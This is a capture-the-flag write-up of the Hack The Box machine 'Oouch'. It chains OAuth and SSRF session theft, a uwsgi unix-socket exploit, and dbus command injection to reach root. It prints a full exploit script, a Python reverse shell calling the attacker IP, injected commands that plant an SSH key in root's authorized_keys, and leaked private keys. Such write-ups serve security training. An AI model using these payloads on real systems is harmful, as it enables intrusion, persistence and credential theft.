HTB Oouch Writeup
writeup for HTB Oouch Box
Oouch Writeup
Starting the recon with a nmap scan to scan for ports and services running on them
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.185
| Logged in as ftp
| TYPE: ASCII
| Session bandwidth limit in byte/s is 30000
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxVFDvWMZRJQ6DlQkjKUsp3Mz6vSQ64sDpR/hQogkUWR/lauECt86N34eRQmABl8IHGROUaH8EoNNy5ByJQk8TrHy+lD1TCKUlNyD8Cw5i4/JtS
MHYasq/3mOdkciBCyNf7vVvEtadG1EsFvTfD2mOTNGt8rj61tp8VBvDIbSq1a4+SCkjBo2c3FW4sPkI1byfypASLlwwVXv/zZ58Ff5C47MZrA2fW9TdhBlkXleqv/6jeuYEpmEQRoiTxmdfpyVkr1/w
BFs25jELQLv5DTyJyIrqT0WqHlyo5eBuax1ZEuNTxCVs2P48YxYIn5F8gfHPgSN7LzLclfAyghwe0oJp
| 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIChK8SPfCVZj8VEE4jX8jzGbd5wB2nrxtLQkze3vxFxQ
5000/tcp open http syn-ack ttl 62 nginx 1.14.2
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was http://10.10.10.177:5000/login?next=%2F
8000/tcp open rtsp syn-ack ttl 62
| fingerprint-strings:
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| RTSPRequest:
| RTSP/1.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
| <h1>Bad Request (400)</h1>
| SIPOptions:
| SIP/2.0 400 Bad Request
| Content-Type: text/html
| Vary: Authorization
|_ <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/sub
mit.cgi?new-service :
SF-Port8000-TCP:V=7.80%I=7%D=7/7%Time=5F04929E%P=x86_64-pc-linux-gnu%r(Get
SF:Request,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h
SF:1>")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>Bad\x20Requ
SF:est\x20\(400\)</h1>")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n<h1>
SF:Bad\x20Request\x20\(400\)</h1>")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\
SF:r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>")%r(SIPOptions,63,"SIP/2\.0\x
SF:20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Autho
SF:rization\r\n\r\n<h1>Bad\x20Request\x20\(400\)</h1>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
we find that FTP has anonymous login enabled and it contains a single file project.txt
which contains the following content which suggests some kind of authorization server is running judging by the name of the machine it might by OAuth.
Flask -> Consumer
Django -> Authorization Server
Visiting the web service running on port 5000 we are prompted to login or to create a account.
Registering for a account and then login in to the server, now running gobuster on web service which is running on port 5000 reveals few interesting endpoints.
===============================================================
2020/07/07 21:15:11 Starting gobuster
===============================================================
/about (Status: 302)
/contact (Status: 302)
/documents (Status: 302)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/oauth (Status: 302)
/profile (Status: 302)
/register (Status: 200)
which confirms our hypotheses about OAuth implementation. Visiting /oauth reveals the hostname consumer.oouch.htb
and also a procedure that needs to be followed to be able to use the server.
also /contact takes input which contains a form which takes message to be sent to the admin which might be helpful and also lead to ssrf
/documents is also interesting which might contain some sensitive information if we are able to become admin
/profile
visiting http://consumer.oouch.htb:5000/oauth/connect
reveals the hostname for the web service on port 8000
adding that to /etc/hosts
file we can visit the web server on port 8000 and then visiting it reveals the authorization server.
creating another account on the authorization.oouch.htb for creating oauth application.
now monitoring the oauth procedure from our previous account we get a request with token code to connect the account.
HTTP/1.1 302 Found
Content-Type: text/html; charset=utf-8
Location: http://consumer.oouch.htb:5000/oauth/connect/token?code=vxF9Rkt1f5qX4AmAYY8AchFqpkbZ9g
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Vary: Authorization, Cookie
now sending this url to the /contact form and then going to http://consumer.oouch.htb:5000/oauth/login
we get logged in as qtc.
now we can also access /documents
now again gobusting http://authorization.oouch.htb:8000/oauth/
we get another endpoint as /applications
visiting /applications
we get greeted with a login prompt.
using the username and password found above develop:supermegasecureklarabubu123!
we are unable to login. Running gobuster again on http://authorization.oouch.htb:8000/oauth/applications/
we get another hit as /register (Status: 301)
we can login there using the found usernames and password.
which is prompting us to create an application. Creating a new application while setting the redirect uri to point to our machine.
now we can use ssrf to make the admin authorize our application by making a request to the http://authorization.oouch.htb:8000/oauth/authorize/
endpoint which will get redirected to our machine with the code and session id included. After reading the documentations extensively i was able to create the correct request as
http://authorization.oouch.htb:8000/oauth/authorize/?client_id=HqdQEKHcW8DUJJ1S3bVcrX8qyUYmmbVe4NNnBm28&response_type=code&redirect_uri=http://10.10.14.84:80/&allow=Authorize&state=&scope=read+write
sending this url to /contact
we get the request back to our server with sessionid and code
➜ Oouch git:(master) ✗ ncat -nlvkp 80
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.177.
Ncat: Connection from 10.10.10.177:46244.
GET /?error=unauthorized_client HTTP/1.1
Host: 10.10.14.84
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: sessionid=rfs9zfoljt4a4owbzql6l75krmhlfr21;
setting the sessionid cookie we get the session as qtc on the authorization.oouch.htb
now making a request to /oauth/token
endpoint we can get an auth token for the user qtc.
now we can access the api @ /api/get_user
after fuzzing the endpoints i get another api endpoint as /api/get_ssh
which gives us the ssh key for the user qtc
we get the private ssh key as
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
now we can login to the server as the user qtc and get the user hash.
➜ Oouch git:(master) ✗ ssh -i id_rsa_qtc [email protected]
Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3
qtc@oouch:~$ cat user.txt
d30bef13a1329ebba5f7842c8ac5925a
also listing for files in the home directory we get a hint for the use of dbus
qtc@oouch:~$ ls -al
total 36
drwxr-xr-x 4 qtc qtc 4096 Feb 25 12:45 .
drwxr-xr-x 3 root root 4096 Feb 11 18:11 ..
lrwxrwxrwx 1 root root 9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc qtc 220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc qtc 3526 Feb 11 18:11 .bashrc
drwx------ 3 qtc qtc 4096 Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root 55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc qtc 807 Feb 11 18:11 .profile
drwx------ 2 qtc qtc 4096 Feb 11 18:34 .ssh
-rw------- 1 qtc qtc 33 Jul 31 07:03 user.txt
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?
qtc@oouch:~$
iptables is used to block the ip of the user if the user tries to perform xss type of attacks on http://consumer.oouch.htb:5000/contact
after some more enumeration we can find the config for the dbus
qtc@oouch:/etc/dbus-1/system.d$ ls
bluetooth.conf com.ubuntu.SoftwareProperties.conf htb.oouch.Block.conf org.freedesktop.PackageKit.conf wpa_supplicant.conf
qtc@oouch:/etc/dbus-1/system.d$ cat htb.oouch.Block.conf
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
qtc@oouch:/etc/dbus-1/system.d$
hence the user www-data can send the dbus message to the user root to recieve. The webservice is running as the user www-data and in order to block any IP using iptables the command need to be executed as root. Hence what might be happening there is this.
- Web service detects the hacking attempt using predefined filters
- Web service sends a dbus message to the root user containing the IP to be blocked
- root user has some sort of receiver program running which receives the IP and then blocks it.
Hence we need to get a shell as www-data first in order to test the dbus functionality.
After some more enumeration we find another ssh key
qtc@oouch:~$ find .
.
./.bash_logout
./user.txt
./.profile
./.bash_history
./.gnupg
./.gnupg/private-keys-v1.d
./.bashrc
./.ssh
./.ssh/authorized_keys
./.ssh/id_rsa
./.note.txt
qtc@oouch:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
TSRUv2YIfCGTi1ND553pywvGStwq4rUXIcxtEBysYFf+rTD5psyCpNAJO4osWivIc67Snz
zQiN0D3vJFxtSmJzKKPJmenNwg1Fnr5XQCvptYu65bjkTUcJ+q+CgBsHT9qlHbTEdrqOwj
pdrebhrbmLQUa4QGXv0ut+3/1TK6z6vPtge3W/p3tap+Fsg/7D8X+K32Q8Jb1yenLXyjGF
K1evXjLSCmolNxWBql03wGjm5haztPvk7wf2XB+IdtXnVTwp9hyeKR1BWWmAxFCndh6OtT
dHIBlGFlnPpnAqAsciy0mjiQL9r7YxK1fWJMixljAAAFiA2O9SwNjvUsAAAAB3NzaC1yc2
EAAAGBANqIdpc11TMvGeWYQjXL4NZFCMQQs0D4ZwrW8RBeYAVib1/oa5tta92S3pCSC9ZO
+HsWcszlTix18o8W/qY1lnAdn2c3EHiBH7kHkQY4jNf4P64OZ1t7ev4wTwTry3VpRzAsRt
rrEX48StC6IQEJ2BwfjTl1gwKW79qlxw76i6AP5ClY4WEc0T1U5YdkPf76hE0kVL9mCHwh
k4tTQ+ed6csLxkrcKuK1FyHMbRAcrGBX/q0w+abMgqTQCTuKLForyHOu0p880IjdA97yRc
bUpicyijyZnpzcINRZ6+V0Ar6bWLuuW45E1HCfqvgoAbB0/apR20xHa6jsI6Xa3m4a25i0
FGuEBl79Lrft/9Uyus+rz7YHt1v6d7WqfhbIP+w/F/it9kPCW9cnpy18oxhStXr14y0gpq
JTcVgapdN8Bo5uYWs7T75O8H9lwfiHbV51U8KfYcnikdQVlpgMRQp3YejrU3RyAZRhZZz6
ZwKgLHIstJo4kC/a+2MStX1iTIsZYwAAAAMBAAEAAAGAHPvEXsGxCRzSHnVXMrNbmo+FXh
uo6pEHeZSQXE9oBM7NXrcArpiQmc6E3j/Aeif3JLwRdcNj3tm11eyC0aCB11TWc2YGNTVK
88thHKYbZ/lw2LDoXGXAJj5Z/JkZXvUbj/QPYbGTnF56vbwx7GVV2EUHAfvn6EwEe8dI41
+vbQcuh51WJv8fcTb1SkOtRUgMi/6pjskFjxEU9IGSnAGBpIBnSD5zIaZK7xyhymVDJ3QE
Pwwj0E+HdDxzPQZSY5MywAOV6Zjnp+xmH/f4mCoZD5pvrS37IUCxn/YfyS+mbX/d7ktr3N
5oW2AqmefgxeoLi4sOuG0QKTB9m/SSszgdQIResrjyUZ8zT2fit3uTF3PiJ0vMpePR1Mir
iV/0I/mAj/ltbV8Rw8Y8xfRtbwWdwo93pVq2OwnFBwjn9S33cctB11xzV5kalbs8wHBilF
YANrxNwOPlmQLHml1hD155y8+R8pfjGqDV+rkVjnRr8zpbZ620LqI5t1FyxlSs0U/BAAAA
wFZ9hd5CMep215pK70sm40vcdm5A0oouxcUA7eJ5uHlsSN7R04yGsv8ljZz+2JXUFtu5kQ
bpDsSZuwN9svPwnqSF/21wO+3Tz/ohGR1j5wolcF54Kh0P5f/HoLlnJLMZvI+k3FRFPfaF
MYNp/Fvyj+Bi05nPgqb/yGQNx4veLGN0el0ffPqpquP+deljnU5jrwA/BUonh9tX9P/yP9
TO/iH8RPOjJFMgh1zXNElNWCitEuOBU855xXnedqGBhpea2gAAAMEA8cgPi7OuyBWcQIj8
FK4GVupY6k6PfulC/WAca3xKIy0QTUCJrv1j6HRhYej8+ckVMOw9v4m8EZEGOkc7MYkQLT
w2KgrCR4pDIoYjq/sBr6b6FKudSLM3Rw/c8vHnczsQYCRdNdX4duT/j2uloIshKE+3trBt
PKYzWul3Yalo+o3eu1yaCcdkOybD+Jm9uxf6KjB7Zpu9Mxxx67DyIGlLJVIHMOWPotuM9F
IZ9bPoRtHCFy0pqhQzWK9Mj5u3AQY5AAAAwQDnYme9N1XM6WQxBbjncHRo3C69r8bsHtex
wWMcrd2u62nTWhUD2dc1kbk1kcJzrDfy5lCEgCwMrMrSmIHnEyKysfir++LSuKLRgyEZIM
rTPL8nIkJQ/ykWhtP5NIxtxoRuL26tqI4sxw51n1Jsu8aBJc9t4vudDBOr9uU5N619LZGS
WZ+OOm+sVgJ8a2rvGVuTlngzZb2/PTgUAAnZsXTTlKbLrq17IEbS3F1SX0uaBzmb3qMREv
5sUAcJH6xV/HsAAAAOcGVudGVzdGVyQGthbGkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
qtc@oouch:~$
this suggests there might be another ssh server on the machine, listing network interfaces we find that their is a docker network
qtc@oouch:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:62:f0 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.177/24 brd 10.10.10.255 scope global ens34
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:62f0/64 scope global dynamic mngtmpaddr
valid_lft 86011sec preferred_lft 14011sec
inet6 fe80::250:56ff:feb9:62f0/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:79:ec:e1:fb brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:50:13:d7:97 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0
valid_lft forever preferred_lft forever
inet6 fe80::42:50ff:fe13:d797/64 scope link
valid_lft forever preferred_lft forever
so let’s scan the docker subnet to look for any container with ssh port open.
qtc@oouch:~$ for i in `seq 2 100`; do nc -v 172.18.0.$i 22 2>&1 | grep "open"; done
(UNKNOWN) [172.18.0.3] 22 (ssh) open
logging in to the ssh server on IP 172.18.0.3 using the found ssh key we see that we are inside the container which has web service running with a nginx frontend. Now taking a look at the nginx config
qtc@aeb4525789d8:/etc/nginx$ cat nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events {
worker_connections 1024;
use epoll;
multi_accept on;
}
http {
access_log /dev/stdout;
error_log /dev/stdout;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
index index.html index.htm;
server {
listen 5000 default_server;
server_name consumer.oouch.htb;
root /var/www/html;
location / {
include uwsgi_params;
uwsgi_pass unix:/tmp/uwsgi.socket;
}
}
}
qtc@aeb4525789d8:/etc/nginx$
we see that nginx is acting as a reverse proxy and forwarding all the requests coming on port 5000 to the uwsgi unix socket which is located at /tmp/uwsgi.socket
qtc@aeb4525789d8:/etc/nginx$ ls -al /tmp/uwsgi.socket
srw-rw-rw- 1 www-data www-data 0 Jul 31 04:44 /tmp/uwsgi.socket
we also see that the unix socket is world writeable which makes it vulnerable to arbitrary code execution and we can use the following modified exploit from
https://gist.github.com/wofeiwo/9f38ef8f8562e28d741638d6de3891f6
#!/usr/bin/python
# coding: utf-8
# Author: [email protected]
# Last modified: 2017-7-18
# Note: Just for research purpose
import sys
import socket
import argparse
import requests
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
return s[::-1]
def pack_uwsgi_vars(var):
pk = b''
for k, v in var.items() if hasattr(var, 'items') else var:
pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
result = b'\x00' + sz(pk) + b'\x00' + pk
return result
def parse_addr(addr, default_port=None):
port = default_port
if isinstance(addr, str):
if addr.isdigit():
addr, port = '', addr
elif ':' in addr:
addr, _, port = addr.partition(':')
elif isinstance(addr, (list, tuple, set)):
addr, port = addr
port = int(port) if port else port
return (addr or '127.0.0.1', port)
def get_host_from_url(url):
if '//' in url:
url = url.split('//', 1)[1]
host, _, url = url.partition('/')
return (host, '/' + url)
def fetch_data(uri, body):
if 'http' not in uri:
uri = 'http://' + uri
s = requests.Session()
if body:
import urlparse
body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
d = s.post(uri, data=body_d)
else:
d = s.get(uri)
return {
'code': d.status_code,
'text': d.text,
'header': d.headers
}
def ask_uwsgi(addr_and_port, mode, var, body=''):
if mode == 'tcp':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(parse_addr(addr_and_port))
elif mode == 'unix':
s = socket.socket(socket.AF_UNIX)
s.connect(addr_and_port)
s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
response = []
while 1:
data = s.recv(4096)
if not data:
break
response.append(data)
s.close()
return b''.join(response).decode('utf8')
def curl(mode, addr_and_port, payload_url, target_url):
host, uri = get_host_from_url(target_url)
path, _, qs = uri.partition('?')
if mode == 'http':
return fetch_data(addr_and_port+uri, None)
elif mode == 'tcp':
host = host or parse_addr(addr_and_port)[0]
else:
host = addr_and_port
var = {
'SERVER_PROTOCOL': 'HTTP/1.1',
'REQUEST_METHOD': 'GET',
'PATH_INFO': path,
'REQUEST_URI': uri,
'QUERY_STRING': qs,
'SERVER_NAME': host,
'HTTP_HOST': host,
'UWSGI_FILE': payload_url,
'SCRIPT_NAME': '/exploitapp'
}
return ask_uwsgi(addr_and_port, mode, var)
def main(*args):
desc = """
This is a uwsgi client and LFI exploit. You can use this program to run a specific wsgi file remotely.
The file must exist on the server side.
Last modifid at 2017-07-18 by [email protected]
"""
parser = argparse.ArgumentParser(description=desc)
parser.add_argument('-m', '--mode', nargs='?', default='tcp',
help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
dest='mode', choices=['http', 'tcp', 'unix'])
parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
help='Uwsgi server: 127.0.0.1:5000 or /tmp/uwsgi.sock',
dest='uwsgi_addr')
parser.add_argument('-p', '--payload', nargs='?', required=True,
help='Exploit payload: The exploit path, must have this.',
dest='payload_path')
parser.add_argument('-t', '--target', nargs='?', default='/exploitapp',
help='Request URI optionally containing hostname',
dest='target_url')
if len(sys.argv) < 2:
parser.print_help()
return
args = parser.parse_args()
print(curl(args.mode, args.uwsgi_addr, args.payload_path, args.target_url))
if __name__ == '__main__':
main()
to get a shell as www-data
now we will create a reverse shell python payload which will be executed and will give us reverse shell.
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.84",443));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
now executing the payload
we get a reverse shell back to our machine as www-data. Now analyzing the source code we can see that the application is using dbus to send the client ip to the host machine which is to be received by the root user to run iptables command on to block the IP address of the attacker machine.
def contact():
'''
The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield.
The messages are scanned for valid url's and these urls are saved to a file on disk. A cronjob will view the files regulary and
invoke requests on the corresponding urls.
Parameters:
None
Returns:
render (Render) Renders the contact page.
'''
# First we need to load the contact form
form = ContactForm()
# If the form was already submitted, we process the contents
if form.validate_on_submit():
# First apply our primitive xss filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
we can now test for command injection here by trying to inject a command along with the ip address and then send it to the dbus. Sending the following payload using dbus-send
we can confirm that there is command injection vulnerability as we have recieved the ping back to us.
www-data@aeb4525789d8:/code/oouch$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block 'string:;ping -c 1 10.10.14.84 &'
now we can add a ssh key to the /root/.ssh/authorized_keys
file to get a root shell.
www-data@aeb4525789d8:/code/oouch$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block 'string:;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDtnFIFAzLQUPr5WwcKf2ZLMSC4y/9619O/OPNFqDkhz23IuPNWbxHzqrpECJb2bONZI4CUdmdELgJgPddSuv6fnPDJucPmp30tZqN3czQjz77cwmxhJIo0fRs1lTy+H/XK4sXDjcHdi5s3sweE1Gl18cFIap4G5nLJgLmFzR5nyz80mi158gAI2xP5BuYspmi0NqZDSDpQVvO86dlg8fS4G2Bmx10pFAPj5eB0IBA7Z6Kv583x1Vo1rnwhsGKD6gRqtHyFVpCKYUqkho0II2g2LAYHgD9msNyNQQ06blMrZv5o8bDH5OqTJj0wft+cmxL3JDv8znyh6Gua+3GVpvcqVhAienyhWycQYWO3B1sceymn/GOk4WbfYD81coqRWV5nzgKHwf7ZSEBRXDhYpotbuYxUmSOlEdIQwpV1KehKkoNRyn4dG+eOBnc8MfYbKR40bOkuT8h94bN4bqIMvJDgIpBbCGIoQw/ehd4Q+3v7v81kUiSgAkyq+jzm6i/OWN0= root@kali >> /root/.ssh/authorized_keys &'
<6i/OWN0= root@kali >> /root/.ssh/authorized_keys &'
method return time=1596261824.016560 sender=:1.1 -> destination=:1.3241 serial=13 reply_serial=2
string "Carried out :D"
www-data@aeb4525789d8:/code/oouch$
and now we can ssh to the server as root and get the root hash.
➜ Oouch git:(master) ✗ ssh -i id_rsa [email protected]
